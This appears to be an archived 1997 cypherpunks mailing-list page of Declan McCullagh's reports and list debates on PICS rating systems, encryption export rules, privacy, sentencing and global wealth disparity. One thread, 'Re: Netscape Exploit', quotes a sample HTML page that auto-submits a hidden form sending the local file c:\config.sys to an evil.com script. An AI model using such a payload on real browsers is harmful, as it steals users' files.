December 2003 - cypherpunks-legacy

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17 Dec '03

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Novell's Eric Schmidt on rating systems
by Declan McCullagh 17 Dec '03

17 Dec '03

---------- Forwarded message ---------- Date: Tue, 1 Jul 1997 07:27:11 -0700 (PDT) From: Declan McCullagh <declan(a)well.com> To: fight-censorship(a)vorlon.mit.edu Subject: Novell's Eric Schmidt on rating systems So I'm logged in from the library of the National Press Club (my membership dues are finally going for something useful), where I just came from a breakfast meeting with Eric Schmidt, the CEO of Novell. We talked Net-politics, from copyright to crypto to Net-taxes. But I also pressed him on the problems of PICS-based rating systems like RSACi, noting that other governments have started to make them mandatory -- in a voluntary sort of way. "In the U.S., we're going to have all sorts of folks saying we need to have a mandatory rating system for web content.. The industry has pushed very hard for individuals to control things, not governments," he said. What about PICS making it easier for other governments to censor the Net? "We are not the other government's keeper... The beauty of the PICS stuff is that it's a framework for having the debate," he said. Next stop: the White House, where I expect this will come up again this afternon... -Declan

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Re: Marc Andreessen on encryption and CDA
by geeman＠best.com 17 Dec '03

17 Dec '03

My biggest problem is when the pundits (and by extension, those that punt to them) frame this entire debate in terms of the Market. To do so is to argue that only solutions that are good for The Market are good solutions; that when a particular policy is market-agnostic or market-negative, even though it may be good policy for People (yes, remember them ???) it is irrelevant or bad. This debate is NOT about the Worldwide Encryption Market! At 05:02 PM 6/30/97 -0400, Declan McCullagh wrote: > >Marc Andreessen from Netscape spoke at a National Press Club luncheon on >June 20. Attached is an excerpt from a transcript of his remarks. > >-Declan > >--- > >NATIONAL PRESS CLUB LUNCHEON >MARC ANDREESSEN, NETSCAPE >FRIDAY, JUNE 20, 1997 > >[...] > >The goal here in all these markets should be open >access -- open access for any new competitor who wants >to offer content and services, who wants to offer >hardware and software, who wants to offer bandwidth >for the Net itself. And then open access should also >allow each consumer and business to choose and buy >from any set of vendors it wants. > >Now, I am not suggesting anything radical -- no major >new laws or sweeping regulations, but simply that we >must ensure we have vigorous enforcement first of >existing antitrust laws and vigorous promotion of >normal healthy competitive markets in these areas -- >network services, software and hardware, content and >consumer services. Once we have that, then we need to >make sure we just don't screw it up. For example -- >just one example -- patently ridiculous limitations on >the ability of American companies to both produce and >use encryption software and hardware internationally. >Encryption technology now is freely available to >criminals and terrorists all around the world, >overseas, on the Web. You can buy it from NTT, you can >buy it from companies out of South Africa, England, >and many other countries. And we are really at this >point deluding ourselves with respect to our ability >to control this technology. The genie is clearly >already out of the bottle. > >However, current regulations, current arms traffic >regulations that apply to this technology and the new >McCain-Kerry bill that just was introduced a couple of >days ago -- the real effect there is that they are >ceding the international data security market to >non-U.S. vendors. They are really stunting now the >development of the Net as a commercial medium, and >they are leaving American companies fundamentally >unprotected from economic espionage and terrorism >abroad. One final example, imposing censorship laws in >this new consumer content medium that are more >stringent and restrictive than those on newspaper and >television. > >[...] > > >------------------------- >Declan McCullagh >Time Inc. >The Netly News Network >Washington Correspondent >http://netlynews.com/ > > > >

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Re: Has your privacy been invaded? Protected? Both?
by Dead Lucky 17 Dec '03

17 Dec '03

geeman(a)best.com wrote: > I have been fairly careful and very jealous of my privacy; and then my name > and home address showed up on one of the name-search pages. I don't know if > it's still there, and I don't remember the link. But then the Similac > marketing Geniuses sent me something in the mail that even included the due > date of my expected child! And the predicted date of the death of your child is January 19, 2015, according to the Dead Lucky Assassination Bot statistics. The good news is that there is only $1.48 bet on this eventuality, so the chances are slim that anyone is going to go out of their way to collect (unless you are such a bad father that your child turns out to be a total asshole). D. Lucky

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Re: NRA and National Online Records Check bullshit
by nobody＠REPLAY.COM 17 Dec '03

17 Dec '03

Kent Crispin wrote: > However, the issue is very complex. "The system" has a number of > discretionary points -- variable sentencing regiems, time off for good > behaviour, probation, parole -- all involve different levels of > constraints on rights, all constitutional. No doubt the laws resulting in people going to jail for the rest of their life for a "third felony" (i.e. - a $10.00 bad check in Texas) are "constitutional." After the (black, go figure...) person was given a life sentence for a $10.00 bad check, someone quoted the standard justification, "It's not a _perfect_ system, but its the best one we've got." (Hint: It was not the defendant who said this.) The rapist/murderers that we hear about being released because of a lack of prison space wave cheery good-byes to their marihuana smoking and bad-check writing pals as they drive away from the prison. And the way this relates to encryption is... ...the rapist/murderers of the future might well be waving goodby to the cryptographers, as well, since they rarely use encryption, and thus might well have a shorter sentence than their crypto-devil cellmate. TruthMonger

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Clinton's Laissez-Faire Policy
by Ross Wright 17 Dec '03

17 Dec '03

Tuesday July 1 6:28 PM EDT Clinton Unveils 'Hands Off' Internet Strategy WASHINGTON (Reuter) - Hailing the Internet as an engine for future economic growth, President Clinton Tuesday unveiled a largely laissez-faire policy to promote commerce in cyberspace unburdened by new government taxes. See More at: http://www.yahoo.com/headlines/970701/politics/stories/internet_6.html =-=-=-=-=-=- Ross Wright King Media: Bulk Sales of Software Media and Duplication Services http://www.slip.net/~cdr/kingmedia Voice: (408) 259-2795

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re:mailing list
by nobody＠REPLAY.COM 17 Dec '03

17 Dec '03

When did it become acceptable to be so stupid??? How many systems-experts do you know who use AOL frequently. OOh...I forgot about that new section, PGP For Dummies...(chuckle) C

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Re: Netscape Exploit
by nobody＠REPLAY.COM 17 Dec '03

17 Dec '03

> >Here is a sample it isn't complete but you get the basic idea of what is > >going on > ><HTML><HEAD><TITLE>Evil-DOT-COM Homepage</TITLE><HEAD> > > > ><BODY onLoad="daForm.submit()"> > ><FORM > > NAME="daForm" > > ACTION="http://evil.com/cgi-bin/formmail.pl" > > METHOD=POST> > > > ><INPUT TYPE=FILE VALUE="c:\config.sys" Name="Save This Document on your > >Harddrive"> > ><INPUT TYPE=HIDDEN NAME="recipient" value="foobar(a)evil.com"> > > > >and so on and so forth... So if someone was using Netscape to read mail, and I included a small bit of HTML like the above, I could snarf up files out of everywhere?

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Re: Marc Andreessen on encryption and CDA
by geeman＠best.com 17 Dec '03

17 Dec '03

yikes - this response makes me as nervous as any misguided government GAK program. Yes, why *should* the poorest and most starved people in the world have any more than they do? It's a free world, ain't it? They're free to avail themselves of the latest in technology, health care, and education to improve their lot aren't they? No, they're victims of transnational corporate wealth-displacement programs funded by the IMF and World Bank, organizations which fatten tinpot dicators' personal fortunes while forcing an export economy onto the weak, stripping them of the power of self-sufficiency in order to feed corporate Masters with no place and no conscience. These people the ones who pick your fruit and vegetables; they're the ones who make your designer sneakers and the silk ties and nice button-down shirts you wear to your cubicle every day. They're the ones who have no voice, no power and no chance. They starve in order to feed and clothe and entertain you, that's why. There are equitable balances of wealth distribution, and there are unconscionable and indefensible ones. I try to play a part is maintaining a balance saner than that of a world dominated by people with your response; I deliver boxes and bags of things I no longer need to Goodwill and others; I wrote off as much as I could in charity donations last year; my wife sponsors a child thru the Christian Childrens Fund; I try to educate myself -- to learn why the peasants revolted in Chiapas, how GATT and SNAFU -- oops I mean NAFTA -- really work and whom they really benefit. I write when I can to try to pass along some of what I learn. Do you continue giving when someone else has less than you do? Absolutely. I hope that you will eventually grow up and achieve some wisdom and compassion. At 12:06 PM 7/1/97 -0400, Michael Lamarra wrote: >Hi, > >I'm curious - why should the 20% percent of the world's population own more >wealth than they do now? How are you identifying them and how much are you >giving them? After all, you probably own more than a vast number of people on >earth also. I know that I do and I'm barely a thousandaire. Do I stop giving >when someone has the same amount as me or do I continue because there is >someone else who still has less? > >Thanks, > >Mike > >I suppose that's why US displays the greatest income disparity between rich >and poor of >any of the industrialized nations? Why some 10 or 20 billionaires >collectively own more >wealth than some 20% of the world's population? Or were you being sarcastic? > >At 07:58 PM 6/30/97 -0700, Declan McCullagh wrote: >>Ah, but what is a market except voluntary transactions between people? >>What is good for the market is good for the people. >> >>-Declan >> >>On Mon, 30 Jun 1997 geeman(a)best.com wrote: >> >>> My biggest problem is when the pundits (and by extension, those that punt >>> to them) >>> frame this entire debate in terms of the Market. To do so is to argue that >>> only solutions >>> that are good for The Market are good solutions; that when a particular >>> policy is market-agnostic >>> or market-negative, even though it may be good policy for People (yes, >>> remember them ???) it is irrelevant or >>> bad. This debate is NOT about the Worldwide Encryption Market! >>> >> >> >> > > > >

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Good Cop/Bad Cop
by nobody＠huge.cajones.com 17 Dec '03

17 Dec '03

sampler-request(a)lmboyd.com wrote: > ====================================================== > TV ratings now indicate more people hate outlaw > characters and admire police characters. Curiously, > though, the police they admire most are the ones who act > like outlaws." > ============================================== > LMBoyd Web Site / U. S. Newspapers / Start Email / Stop Email > http://www.LMBoyd.com/postscript.htm The above apparently applies to politicians, as well. TruthMonger

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